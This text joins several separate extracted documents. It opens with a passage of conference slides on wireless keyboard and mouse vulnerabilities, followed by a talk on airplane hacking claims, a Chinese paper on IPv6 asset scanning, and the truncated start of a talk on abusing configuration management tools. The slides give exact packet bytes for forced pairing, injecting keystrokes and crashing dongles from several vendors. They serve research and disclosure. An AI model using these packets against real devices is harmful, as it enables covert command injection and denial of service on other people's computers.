6B 4F 67 12 34 56 78 04 00 00 00 01 00 00 00 00 00 96 12 34 56 78 Device serial number Logitech Unifying - Forced Pairing (5 of 7) Attacker transmits device name 00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6 04 Device name length 4D 35 31 30 Device name (ascii string) Logitech Unifying - Forced Pairing (6 of 7) Dongle echoes back some bytes from the pairing process 00 0F 06 02 03 4F 67 12 34 EA Logitech Unifying - Forced Pairing (7 of 7) Attacker transmits pairing complete message EA 0F 06 01 00 00 00 00 00 00 Logitech Unifying - Pair Keyboard as Mouse (1 of 7) Attacker transmits pairing request to address of already paired mouse 75 5F 01 62 13 32 16 C3 08 10 25 04 00 02 47 00 00 00 00 00 01 20 10 25 Device model number (M510 mouse) Logitech Unifying - Pair Keyboard as Mouse (2 of 7) Dongle replies with an assigned RF address 75 1F 01 9D 65 CB 58 38 08 88 02 04 01 02 07 00 00 00 00 00 00 6E 9D 65 CB 58 38 Assigned RF address of the pairing device Logitech Unifying - Pair Keyboard as Mouse (3 of 7) Attacker transmits (arbitrary) serial number to dongle on the newly assigned RF address 00 5F 02 01 22 33 04 03 04 4D 77 1E 40 00 00 01 00 00 00 00 00 1B 03 04 4D 77 Device serial number 1E 40 Device capabilities (keyboard) <--- this is the magic Logitech Unifying - Pair Keyboard as Mouse (4 of 7) Dongle echoes back serial number 00 1F 02 EE F0 FB 69 03 04 4D 77 1E 40 00 00 01 00 00 00 00 00 73 03 04 4D 77 Device serial number Logitech Unifying - Pair Keyboard as Mouse (5 of 7) Attacker transmits device name 00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6 04 Device name length 4D 35 31 30 Device name (ascii string) Logitech Unifying - Pair Keyboard as Mouse (6 of 7) Dongle echoes back some bytes from the pairing process 00 0F 06 02 03 FB 69 03 04 7B Logitech Unifying - Pair Keyboard as Mouse (7 of 7) Attacker transmits pairing complete message EA 0F 06 01 00 00 00 00 00 00 Now we can inject keystrokes into our new “mouse”!! Logitech Unifying - Unencrypted Injection Fix Bypass ● Logitech released a dongle firmware update on February 23 ● Fixes the keystroke injection vulnerability on clean Windows 10 ● How can we get around it?? 1. Use OSX 2. Use Linux 3. Install Logitech Setpoint on your Windows box (lol wut?) Logitech Unifying - Encrypted Keystroke Injection 1. Sniff a keypress, knowing that unencrypted “key up” packet is 00 00 00 00 00 00 00 00 D3 EA 98 B7 30 EE 49 59 97 9C C2 AC DA 00 00 00 00 00 00 00 B9 // 'a' key down 00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // 'a' key up 2. Octets 2-8 of the “key up” packet are your ciphertext! EA 98 B7 30 EE 49 59 = Ciphertext from 9C C2 AC DA counter XOR’d with 00 00 00 00 00 00 04 5C C8 88 A3 F8 CC 9D = Ciphertext from 9C C2 AC DB counter XOR’d with 00 00 00 00 00 00 00 3. XOR your ciphertext with 00 00 00 00 00 00 05 to make a ‘b’ keypress! 00 D3 5C C8 88 A3 F8 CC 98 5F 9C C2 AC DB 00 00 00 00 00 00 00 3E // 'b' key down 00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // 'b' key up Logitech G900 ● $150 wireless gaming mouse ● “professional grade wireless” ● Same underlying tech as Unifying ● Permanently paired ● Radio gain turned up to 11 ● Low keepalive timeouts Logitech G900 - Radio Configuration Logitech G900 - Unencrypted Keystroke Injection Unencrypted keystrokes can be injected into the address of a G900 mouse ‘a’ key down (scan code 4) 00 C1 00 04 00 00 00 00 00 3B ‘a’ key up (no scan codes specified) 00 C1 00 00 00 00 00 00 00 3F Logitech G900 - Malicious Macro Programming ● Logitech Gaming Software lets you customize mouse buttons ● You can program in macros! ● Macros can have arbitrary delays, and can be sufficiently long to do complex commands ● Macros can be programmed over the air by an attacker… ● Full technical details are the whitepaper! Chicony ● OEM who makes the AmazonBasics keyboard, and the Dell KM632 ● Same protocol used on both sets ● nRF24L based, no firmware update support Chicony - Unencrypted Keystroke Injection AmazonBasics Mouse ● Attacker transmits these three packets to the RF address of a mouse ● Lowest 5 bytes of second packet is HID data ● Generates ‘a’ key down event (scan code 4) 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 00 00 00 04 00 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F Dell KM632 Mouse ● Attacker transmits this packet to the RF address of a mouse ● Bytes 1-7 are HID data, generating ‘a’ key down event (scan code 4) 06 00 04 00 00 00 00 00 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 00 00 00 Chicony - Encrypted Keystroke Injection Dell KM632 keyboard and AmazonBasics keyboard 1. Sniff a keypress, knowing that unencrypted “key up” packet is 00 00 00 00 00 00 00 B9 D6 00 8E E8 7C 74 3C BD 38 85 55 92 78 01 // 'a' key down D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // 'a' key up 2. Octets 0-7 of the “key up” packet are your ciphertext! B9 D6 00 8E E8 7C 74 3C = Ciphertext of BD 38 85 55 92 78 01 XOR’d w/ 00 00 00 00 00 00 04 D0 E4 6F 75 C9 D1 53 30 = Ciphertext of 39 7B AD BC 44 B1 F6 XOR’d w/ 00 00 00 00 00 00 00 3. XOR your ciphertext with 00 00 00 00 00 00 05 to make a ‘b’ keypress! D0 E4 6A 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // 'b' key down D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // 'b' key up MOSART MOSART - Keystroke Sniffing and Injection Signia Signia - Keystroke Sniffing and Injection ● Similar to the encrypted keystroke injection vulns, but finding a whitening sequence instead of ciphertext AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 87 B8 7F 1D 8A 5F C3 17 AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 A7 B8 7F 1D 8A 5F F6 1F 20 69 87 B8 7F 1D 8A 5F = ‘a’ key down XOR’d with whitening sequence 20 69 A7 B8 7F 1D 8A 5F = key up (i.e. whitening sequence) GE (but really Jasco) ● GE name on the product ● Made by Jasco, who licenses the GE brand ● No longer produced ● Mystery (unencrypted) transceiver GE - Keystroke Sniffing and Injection An 'a' keystroke is transmitted over the air in the following format: 55:55:55:54:5A:07:9D:01:04:00:00:00:00:00:00:00:30:41 // 'a' key down 55:55:55:54:5A:07:9D:01:00:00:00:00:00:00:00:00:3F:2C // 'a' key up Bytes 0-2: preamble Bytes 3-6: sync field / address Bytes 7-15: payload Bytes 16-17: CRC USB HID keystroke data, in the clear. Easy mode. Lenovo ● Multiple OEMs and protocols, all based on nRF24L ● All affected devices share the same RF configuration: ○ 2Mbps data rate ○ 5 byte address width ○ 2 byte CRC ● Denial of service vulnerabilities affecting products from multiple OEMs Lenovo - Denial of Service Lenovo Ultraslim Transmit this to the mouse address to crash the dongle: 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F: 0F:0F:0F:0F:0F:0F:0F Lenovo Ultraslim Plus Transmit this to the keyboard address to crash the dongle: 0F Lenovo N700: Transmit this to the mouse address to crash the dongle: 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F Lenovo - Unencrypted Keystroke Injection Transmit to a Lenovo 500 wireless mouse address to inject ‘a’ keystroke: 00:00:0B:00:00:04:00:00:00 // ‘a’ key down 00:00:0B:00:00:00:00:00:00 // ‘a’ key up Lenovo - Encrypted Keystroke Injection Lenovo Ultraslim (not Ultraslim Plus!) keyboard 1. Sniff a keypress, knowing that unencrypted “key up” packet is 00 00 00 00 00 00 00 49 C3 5B 02 59 52 86 9F 38 36 27 EF AC // 'a' key down 4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // 'a' key up 2. Octets 0-6 of the “key up” packet are your ciphertext! 49 C3 5B 02 59 52 86 = Ciphertext of 9F 38 36 27 EF AC XOR’d w/ 00 00 04 00 00 00 00 4C 66 E1 46 76 1A 72 = Ciphertext of F4 F5 C0 0D 85 C3 XOR’d w/ 00 00 00 00 00 00 00 3. XOR your ciphertext with 00 00 05 00 00 00 00 to make a ‘b’ keypress! 4C 66 E4 46 76 1A 72 F4 F5 C0 0D 85 C3 // 'b' key down 4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // 'b' key up Microsoft ● Old style XOR-encrypted wireless keyboards ● New style AES-encrypted wireless keyboards ● Mice from both generations vulnerable to keystroke injection ● nRF24L based, no firmware update support Microsoft - Unencrypted Keystroke Injection The following packets will generate an 'a' keystroke when transmitted to the RF address of a mouse: Microsoft Sculpt Ergonomic Desktop / Microsoft USB dongle model 1461 08:78:87:01:A0:4D:43:00:00:04:00:00:00:00:00:A3 08:78:87:01:A1:4D:43:00:00:00:00:00:00:00:00:A6 Microsoft Wireless Mobile Mouse 4000 / Microsoft USB dongle model 1496 08:78:18:01:A0:4D:43:00:00:04:00:00:00:00:00:3C 08:78:18:01:A1:4D:43:00:00:00:00:00:00:00:00:39 Microsoft Wireless Mouse 5000 / Microsoft 2.4GHz Transceiver v7.0 08:78:03:01:A0:4D:43:00:00:04:00:00:00:00:00:27 08:78:03:01:A1:4D:43:00:00:00:00:00:00:00:00:22 HP (non-MOSART) The HP Wireless Elite v2 is an nRF24L based wireless keyboard and mouse set with a proprietary communication protocol using AES encryption. HP - Encrypted Keystroke Injection [keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB // key down [dongle] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB // key up [dongle] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB // key down [dongle] 07 69 6A 15 A0 B2 11 11 7B B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB // key up [dongle] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB [keyboard] 07 [dongle] 0B 69 6A 15 A0 B2 11 11 7B [keyboard] 04 // request key rotate [dongle] 0A DA 88 A3 0B 00 // crypto exchange [keyboard] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0 // crypto exchange [dongle] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0 // crypto exchange [keyboard] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63 // key down [dongle] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63 [keyboard] 07 [dongle] 0B DA 88 A3 0B 00 C2 CF B5 [keyboard] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63 // key up [dongle] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63 Similar to other vulnerabilities, the ciphertext can be inferred by watching a key down and key up sequence, and Used to generate malicious encrypted keystrokes. Gigabyte ● nRF24L based unencrypted wireless keyboard and mouse ● nRF24L01 transceiver (Shockburst) ● SONIX keyboard/mouse/dongle ASICs Gigabyte - Keystroke Sniffing and Injection An 'a' keystroke is transmitted over the air in the following format: CE:00:02:00:00:00:00:00:00:00:3F:80:3D // 'a' key down Stuff we care about (keyboard USB HID data), is shifted one bit right. Shift it to the left, and we get an ‘a’ scan code (04)! Woooo!!! 4. Vendor Responses Most of the vendors are still in disclosure for one or more vulnerabilities. Vendor responses and mitigation options will be updated prior to DEF CON, and will be included in the slide deck distributed online and used in the presentation. 5. Demo Demo - Logitech Unifying ● Logitech M510 ● Forced pairing ● Disguise keyboard as mouse ● Unencrypted keystroke injection into keyboard address Demo - Microsoft ● Microsoft Sculpt Ergonomic Mouse ● Unencrypted Keystroke Injection Questions? Marc Newlin [email protected] @marcnewlin
pdf
Cyber-hijacking Airplanes: Truth or Fiction? Dr. Phil of Bloomsburg University @ppolstra http://philpolstra.com Captain Polly of University of <redacted> @CaptPolly Why This Talk? ● Lots of bold claims concerning the feasibility of cyber-hijacking ● Bold claims get lots of press ● Most people don't know enough to evaluate these claims ● Whether you feel safer or even more scared should be based on facts Who is Dr. Phil ● You may know me as a hardware hacker, but I'm also... – Holder of 12 aviation ratings, all current, including: ● Commercial Pilot ● Flight Instructor ● Aircraft Mechanic ● Inspection Authorization holder ● Avionics Technician – Have thousands of hours of flight time – Aircraft builder – Have worked on the development of avionics found in modern airliners – Have access to airliner manuals, current and former airline pilots Who is Captain Polly ● Former airline pilot for a major US carrier ● Thousands of hours in airliners and small aircraft ● Aviation professor ● Head of college simulator program ● Spouse of a current airline pilot What you will learn ● How some of the common aircraft systems really work, including: – ADS-B – ADS-A – ACARS – Transponders – Collision avoidance – GPS – Autopilots – Avionics buses and networks – Attacks being presented by others Some commonly discussed attacks ● Hacking into the avionics via the entertainment network ● Hacking ADS-B ● Hacking engine systems ● Hacking ACARS Let's get this out of the way to start ● You cannot override the pilot ● All aircraft feature unhackable mechanical backup instruments ● You can affect the autopilot operation – If pilot(s) notice they will disconnect – Anything you attempt will likely result in alerts Attacking avionics networks ● Older aircraft use ARINC 429 networks – Not connected to anything useful – Require specialized hardware ● Newer aircraft use a modified version of Ethernet known as ARINC 664 or AFDX ARINC 664 and AFDX ● Built on Ethernet, but... – Can't just start sending packets – Never wireless – Some security in place ● Not connected to entertainment system ● Not connected to in-flight wifi Meet ARINC 664 aka AFDX ● Based on ARINC 629 – First created by Boeing for 777 ● Allows the use of common off the shelf (COTS) components vs ARINC 429 which is proprietary ● Built on Ethernet, but not the same – Uses redundant channels – Assigns time slices to avoid collisions and make it deterministic ARINC 664 Virtual Links ● Unidirectional logical pipe ● 1 and only 1 sender ● 1 or more receiver ● Timeslicing is used to avoid collisions – Bandwidth Allocation Gap (BAG) determines size of timeslice – Jitter (max latency – min latency) determined by number of VL and BAG AFDX Connections ARINC 664 in real life Tight Integration with ARINC 664 Entertainment Systems ● Connected to output ports on GPS and FMS or through a Network Extension Device (NED) ● Never connected to ARINC 429/629/664 ● Remember that the avionics network is never wireless and not compatible with your friendly TCP/IP Boeing 777 Confusion ● Boeing asked for a special condition to allow the passenger information network to be connected to other networks such as the aircraft information network ● FAA granted this special condition on 11/18/13 provided that a network extension device (NED) was used and certain conditions were met 777 Confusion (contd) FAA specified: ● The applicant must ensure that the design provides isolation from, or airplane electronic system security protection against, access by unauthorized sources internal to the airplane. The design must prevent inadvertent and malicious changes to, and all adverse impacts upon, airplane equipment, systems, networks, or other assets required for safe flight and operations. Meet NED the Network Extension Device ● Essentially a gateway that goes between ARINC 429/629/664 and IP ● Like any gateway each path must be programmed ● FMS does not receive input from NED – Cannot send bogus commands to FMS – If NED is compromised may be possible to impersonate another device Example NED implementation ● Shameless used from http://www.teledynecontrols.com/productsolution/ned/blockdiagram.asp MH370? ● A Boeing 777 ● Uses ARINC 629 – Not 664 we've been discussing – Really not Ethernet ● The 777 is essentially the only plane to use ARINC 629 – Harder to hack than ARINC 664 Airliner Entertainment System Connection Redacted from online slides Hacking In-flight Wireless ● <video on attacking avionics networks via in-flight wireless> Attacking ADS-B/ADS-A ● Can create phantom aircraft ● No security in protocol ● Could create fake weather reports ● Could be jammed ● Not likely to affect TCAS ADS-B (broadcast) ● Piloted in Alaska ● Intended to improve flying where RADAR coverage is limited ● Part of a Free Flight system planned for the future ● Provides traffic and weather where available ● Used by small planes to broadcast position information ADS-A (addressable) ● What the airlines use (contrary to what you may have heard) ● Related to ACARS ● ADS-B == cable-ready TV ● ADA-A == addressable cable box with pay-per-view, etc – Allows specific airplanes to send/receive messages – Allows lower separation outside of RADAR coverage – Airliners use neither ADS-B or ADS-A for collision avoidance Collision Avoidance ● TIS-B – Provided by ATC – Requires a mode S transponder (ADS-B in) – Only available in some areas – Not authoritative – Does not use ADS-B signals – ATC does not automatically relay every ADS-B signal they receive Collision Avoidance (contd) ● TCAD – Used in small planes – Provides information – Not authoritative ● TCAS – What the big boys (biz jet and up) use TCAS ● Uses transponders in the area ● Can actively interrogate other transponders ● Authoritative ● Pilot can use even if other aircraft not in sight Transponders ● Supplement primary RADAR ● Mode S used in ADS-B ● Airliners have at least 2 ● Signals are used for collision avoidance Attacking ADS-B ● <video of ADS-B attack in simulator> If you could attack ADS-B ● <video of what ADS-B attack would look like if it really worked> Attacking engine systems ● Engine monitors are output only – Information is recorded for maintenance – Some information may be sent via ACARS to airline and/or manufacturer ● Some engine control systems are electronic – All have purely mechanical backup – Most only trim mechanical system electronically ACARS ● Can be used to send messages to/from ground ● Messages to/from people or systems ● Used for – Weather – Delays – Updated flight plans – Maintenance information Attacking ACARS ● Could create a bogus flight plan update ● Could create bogus weather ● Hypothetically could create fake messages from plane to ground ● Not a practical way to take over an airplane ACARS Attack ● <video showing a bogus flight plan update via ACARS> Closing Thoughts ● Nearly every protocol used in aviation is unsecured ● There is certainly the potential to annoy ATC and/or small aircraft ● Increasing automation while continuing with unsecured protocols is problematic ● Airliners are relatively safe (for now) Questions? Come see us after or hit us on Twitter at @ppolstra or @CaptPolly
pdf
42 2020年12月 第 12 期(第33卷 总第280期)月刊 2020 年 第 12 期 电信工程技术与标准化 中国移动网络与信息安全专题 基于IPv6的资产管理系统概要设计与实现 李江1,李肖肖1,安宝宇2,付俊1,何申1 (1 中国移动通信有限公司研究院,北京 100053;2 中国移动通信集团公司信息安全管理 与运行中心,北京 100053) 摘 要 IPv6具备海量的地址空间,地址生成随机性强,对IPv6网络空间中的资产进行管理将面临许多新的挑战。本 文吸取了业界IPv6存活地址快速发现理论的核心思想,结合现在的网络特点,设计开发出基于IPv6的资产管 理系统,用于辅助对IPv6资产进行管理。 关键词 IPv6;资产管理;扫描 中图分类号 TN918 文献标识码 A 文章编号 1008-5599(2020)12-0042-06 收稿日期 :2020-11-07 随着 5G 网络及物联网应用的迅速发展,海量终端 设备、系统平台的部署及应用也为 IPv6 网络空间下的 资产管理提出了挑战。IPv6 网络空间下地址长度扩展 到 128 bit,传统的对于 IPv4 的资产管理方式无法满足 IPv6 资产管理的需要。如何对 IPv6 网络空间中的资产 进行管理将面临许多新的挑战。 1 研究目标和现状 IPv6 资产管理的核心难点在于如何利用有限资源, 在可接受的时间范围内准确地掌握资产状态的变化,并 对其进行有效监控。然而在 IPv6 资产管理技术上,存 在多重挑战。 (1)IPv6 可用地址空间更大。因为 IPv6 的地址长 度已由原 IPv4 的 32 bit 扩展到 128 bit,可表示的地址 数量成指数倍增长。原有应对 IPv4 网络内资产管理的 大部分方式方法均不太适用 IPv6 的网络空间。 (2)IPv6 地址生成随机性强。IPv6 网络支持设备 通过多种方式来获取 IPv6 地址。尤其是无状态地址生 成方式(SLAAC),该地址生成方式会产生大量随机强 的 IPv6 地址,因考虑到隐私安全问题,很难进行反向 推测,并且该方法已大量应用到实际场景中。 (3)IPv6 常用子网划分方法造成子网空间巨大。 IPv6 网络在实际使用中的子网划分过程中经常会按照 / 64 大小的网段来划分供单个局域网来使用。在现实场 景下,当网络由多个类似 /64 大小的子网构成时,由 于这种网络中可用地址空间异常庞大,导致无法通过 常规手段来方便快速地收集该网络中现有存活的 IPv6 资产。 因此利用有限的时间和空间来更便捷的管理 IPv6 DOI:10.13992/j.cnki.tetas.2020.12.009 43 中国移动网络与信息安全专题 电信工程技术与标准化 2020年12月 第 12 期(第33卷 总第280期)月刊 2020 年 第 12 期 网络中的资产是一个非常棘手的问题。在技术上,使用 单一方式对 IPv6 资产进行有效管理是难以实现的。目 前业界已经提出过多个针对 IPv6 资产发现的技术与方 法,典型的包括探针密集采集法、DNS 反向查询法、网 络流量分析法和编址规则推测法。这 4 种方法在某些特 定场景中可以辅助对 IPv6 的资产进行管理,但是一种 方法仅适用于有限的场景。 本文吸取了上述已公开的 IPv6 存活地址快速发现 理论的核心思想,通过对大量文献进行研究,再依托探 测 IPv6 地址的常见算法,设计开发出基于 IPv6 的资产 管理系统。由一个或多个已知的支持 IPv6 的域名触发, 综合多种 IPv6 地址探测算法,逐步挖掘更多存活 IPv6 地址。通过在实际网络环境中对该系统工具的初步应用, 收集到了一批 IPv6 资产数据,在一定程度上补足了当 前对 IPv6 暴露面管理缺乏有效工具的短板,形成了对 应的能力储备。 2 系统设计与实现 2.1 概要设计 IPv6 资产管理系统由 6 个模块构成,分别为 IPv6 地址初始收集模块、IPv6 地址扩容收集模块、关联地址 探测扫描模块、编址规则扫描模块、随机地址探测扫描 模块和基于日志的存活地址收集模块。 上述 6 个模块协同工作,最终收集到大量有效的 IPv6 存活地址。系统示意如图 1 所示。 2.2 IPv6 地址初始收集模块 本功能模块完成 IPv6 地址的初始收集。对当前提 供 IPv6 服务的域名集合进行反向 DNS 查询,获取到与 域名对应的 IPv6 地址信息,并汇总生成 IPv6 地址集。 如果当前尚无可用的域名集合,也可通过网络爬虫的大 规模的爬取来形成域名集合。具体实现方法如下。 (1)通过域名查询工具或指令对具体的域名网址进 行域名反查,得出 IPv6 地址,此步骤可以获取到一批 初始的 IPv6 地址。 (2)通过域名查询工具或指令中指定 DNS 服务器 参数的功能,指定多个不同服务商或地区的 DNS 服 务器,并再次进行域名反查 IPv6 地址的操作,以增 加获取到不同地址信息的可能性。以 nslookup 指令 为例,可以指定多个 DNS 服务器进行域名反查,针 对多次查询结果去重汇总,从而获取到更丰富的 IPv6 地址信息。 (3)针对本功能模块中搜集到的全部 IPv6 地址 去 重 后, 生 成 该 部 分 的 IPv6 存 活 地 址 集 Address- Pool-1,并汇入到总的 IPv6 存活地址集中。 IPv6 地址初始收集模块工作示意如图 2 所示。 2.3 IPv6 地址扩容收集模块 本功能模块以 IPv6 地址初始收集模块中获取到的 地址集合为输入,对其中所有地址进行网络路径遍历的 操作处理,从而获取网络路径上存活的 IPv6 地址集合, 并将该地址集合作为本功能模块的输出。具体实现方法 如下。 (1)对输入地址集合中的每一个具体的 IPv6 地址 信息进行路由路径遍历操作,获取返回记录并分析提取 其中的每一条具体的 IPv6 地址信息。 (2)针对本步骤中搜集到的 IPv6 地址进行去重后, 生成该部分的 IPv6 存活地址集合 Address-Pool-2,并 汇入到总的 IPv6 存活地址集中。 IPv6 地址扩容收集模块工作示意如图 3 所示。 图1 系统示意图 44 2020年12月 第 12 期(第33卷 总第280期)月刊 2020 年 第 12 期 电信工程技术与标准化 中国移动网络与信息安全专题 2.4 关联地址探测扫描模块 通常网络中一个 IPv6 地址被占用,则其临近的 IPv6 地址被占用的概率较高。本功能模块基于此规律, 对已经收集到的 IPv6 存活地址,进行一定范围的地址 浮动偏移,扩充生成对应的地址段,并对地址段 进行快速扫描,来探测其临近的 IPv6 地址存活 情况。具体实现方法如下。 (1)对已收集到的 IPv6 存活地址集中的每 一个具体地址进行末位地址字段前后一定范围的 地址偏移浮动操作。例如某一存活的 IPv6 地址 为 2001:DB8::64,对其进行末位地址字段一定 范围的地址偏移浮动操作后,可以固定 128 bit 地 址 的 前 120 bit, 遍 历 后 8 bit, 生 成 对 应 的 IPv6 地址段信息 2001:DB8::0/120, 网段中包 含 2001:DB8::1-2001:DB8::ff 共计 256 个可用 IPv6 地址。从而将单个 IPv6 地址信息扩充成其 对应的 IPv6 地址段信息。 (2)对第 1 步的 IPv6 地址段进行去 重处理,通过快速扫描探测地址段中的存 活地址。 (3)对探测到存活的地址进行汇总去 重,生成该功能模块部分的 IPv6 存活地 址集合 Address-Pool-3,并汇入到总的 IPv6 存活地址集中。 关联地址探测扫描模块工作示意如 图 4 所示。 2.5 编址规则扫描模块 通过学习编址规则或通过已知的编址 规则,本功能模块可推测出一批 IP 地址 集合,其中的地址依据统计学观点大概率 存活。编址规则可以是基于 IP 地址信息 熵的规律,也可以是基于各企业机构内部 的规范定义。具体实现方法如下。 (1)若能获取到大量的存活 IPv6 地 址样本,可通过多种算法分析样本地址的 规律并推测出其它可能存活的 IPv6 地址。或者基于人 工智能的方式,根据大规模的样本训练出 IPv6 地址存 活模型,进而由模型对未知的 IPv6 地址段进行存活地 址的推测。 图2 IPv6地址初始收集模块工作示意图 图3 IPv6地址扩容收集模块工作示意图 45 中国移动网络与信息安全专题 电信工程技术与标准化 2020年12月 第 12 期(第33卷 总第280期)月刊 2020 年 第 12 期 (2)对步骤 1 中推测出来的 IPv6 地址集进行存活 性扫描探测,得到存活的地址集合。 (3) 对 步 骤 2 中 的 IPv6 地 址 进 行 去 重 处 理, 生 成 该 模 块 的 IPv6 存 活 地 址 集 合 Address-Pool-4, 并 汇 入 到 总 的 IPv6 存活地址集中。 编址规则扫描模块工作示意如 图 5 所示。 2.6 随机地址探测扫描模块 通过随机方式可一定概率发现网 络中存活的 IPv6 地址。本功能模块 基于有存活地址的 IPv6 地址段,随 机生成其中的部分 IPv6 地址判断存 活性。随机的可以通过已知的算法或 者人工智能工具实现。具体实现方法 如下。 (1)通过对输入的 IPv6 地址信 息集中的每一个 IPv6 地址进行前后 一定范围的地址范围扩充,生成对应 的 IPv6 地址段信息。 (2)结合随机抽样算法等方式对 图4 关联地址探测扫描模块工作示意图 步骤 1 生成的每一个 IPv6 网段都进行一定数 量的随机地址生成,并进行存活性验证,仅 保留经验证存活的地址。 (3) 对 步 骤 2 中 的 IPv6 地 址 进 行 去 重处理,生成该模块的 IPv6 存活地址集合 Address-Pool-5,并汇入到总的 IPv6 存活 地址集中。 随机地址探测扫描模块工作示意如图 6 所示。 2.7 基于日志的存活地址收集模块 通过分析日志可获得网络中存活且处于 活动状态的 IPv6 地址,可分析的日志包括 DPI 日志、DNS 日志和安全设备告警日志等。 该模块的 IPv6 存活地址集合为 Address- Pool-6。 基于日志的存活地址收集模块工作示意如图7所示。 通过上述 6 个模块的协同作用,最终可形成存活 图5 编址规则扫描模块工作示意图 46 2020年12月 第 12 期(第33卷 总第280期)月刊 2020 年 第 12 期 电信工程技术与标准化 中国移动网络与信息安全专题 的 IPv6 地址集合 Address-Pool, 可表示为 Address- Pool=Address-Pool-1∪Address-Pool-2∪Address- Pool-3∪Address-Pool-4∪Address-Pool-5∪Address- Pool-6。 3 结果分析 通过设计 IPv6 存活地址快速发现模型,开发对应 的原型,并在被授权的网络上进行原型的应用,获取到 了较为丰富的数据。通过对数据的进 一步分析,可发现一些 IPv6 存活地 址的共性。 在部分网络中,特别是云资源 池中,管理员往往倾向于将同一类型 资产设备部署在一个或相邻的若干个 IPv6 网段中。现网中的截图如图 8 所示。 在该地址段中,IP 地址均被分 配给了 Web 服务的 HAproxy 代理。 由于此种地址使用方式将大量同一类 型设备集中在相邻的地址中间,因此 当设备出现漏洞时,必须对全网段的 设备进行加固,避免恶意攻击者利用 漏洞可以一次攻击大量设备。 对于 Web 网站服务器,往往容 易出现在其所在网段中暴露了数据库 服务和远程连接服务等高危服务。现 网中的截图如图 9 所示。 由于在 IPv4 网络中,Web 服务 一般是通过地址转换方式对外提供服 务,相应的数据库和远程连接等服务 被较好地控制在内网范围暴露,因此 风险较小。而在 IPv6 网络中,缺乏 地址转换带来的天然安全隔离,容 易导致更大的互联网暴露,带来更 大风险。 4 结束语 IPv6 的广泛使用带来了更多的 IPv6 暴露面,开展 常态化的 IPv6 资产与风险管理至关重要。 在日常的安全工作中,要做好 IPv6 资产的管理, 一是需要有效结合技术手段与管理手段,二者互补 ;二 是有效控制 IPv6 暴露面的数量,加强网络安全策略的 图6 随机地址探测扫描模块工作示意图 图7 基于日志的存活地址收集模块工作示意图 47 中国移动网络与信息安全专题 电信工程技术与标准化 2020年12月 第 12 期(第33卷 总第280期)月刊 2020 年 第 12 期 Design and implementation of IPv6 management system LI Jiang1, LI Xiao-xiao1, AN Bao-yu2, FU Jun1, HE Shen1 (1 China Mobile Research Institute, Beijing, 100053, China; 2 China Mobile Information Security Center, Beijing 100053, China) Abstract There will be many new challenges in the management of IPv6 address management since it has a large number of address space, and the address generation is random. This paper absorbs the core idea of IPv6 address detection methods, combined with the consideration of network, designs and develops an asset management system based on IPv6, which is used to assist the management of IPv6 address. Keywords IPv6; address management; scan 参考文献 [1] 赵肃波. 中国IPv6发展与网络安全挑战[J]. 信息安全研究, 2019(3). 梳理,做到非必要不增加暴露面 ;三是不断探索更高效 的 IPv6 资产自动化发现方法和 IPv6 快速扫描方法。 图8 一个网段中部署大量同一类型设备实例 图9 非必要服务对外暴露实例
pdf
MOSE: Using Configuration Management for Evil Presented By: Jayson Grace Legal Stuff I am not speaking on behalf of my employer (or any previous employers), nor am I here as a representative of my current or previous employers. My opinions do not reflect those of my current or previous employer, and are solely my own. 2 $ whoami ● Death Metal Vocalist ● Former DevOps engineer and Sysadmin ● Penetration Tester at Splunk ● Automator of things 3 Agenda ● What are Configuration Management Tools? ● How can we use them for evil? ● What is MOSE, why do we need it, and how do we run it? ● Demos ● Future Plans 4 Poll Who enjoys post exploitation? 5 Poll Pt. 2 Who feels like they have enough time to do it properly? 6 Story Time ● Automation is best way to optimize post exploitation efforts ● MOSE will level up your postex game when you compromise CM servers 7 What are Configuration Management Tools? ● Tools to provision systems ● Helpful for managing assets in networked environments 8 CM tools share many common features ● Idempotency ● Ensure consistency across deployments ● Scalable ● Guaranteed state ● Modular, repeatable, supports variety of OS’s ● Native Secrets Management Solution ● Client/Server or Standalone deployment 9 These tools are used a lot of places 10 Some of the more popular options 11 These tools do have key differences 12 Puppet Chef Salt Ansible Language Used Proprietary DSL 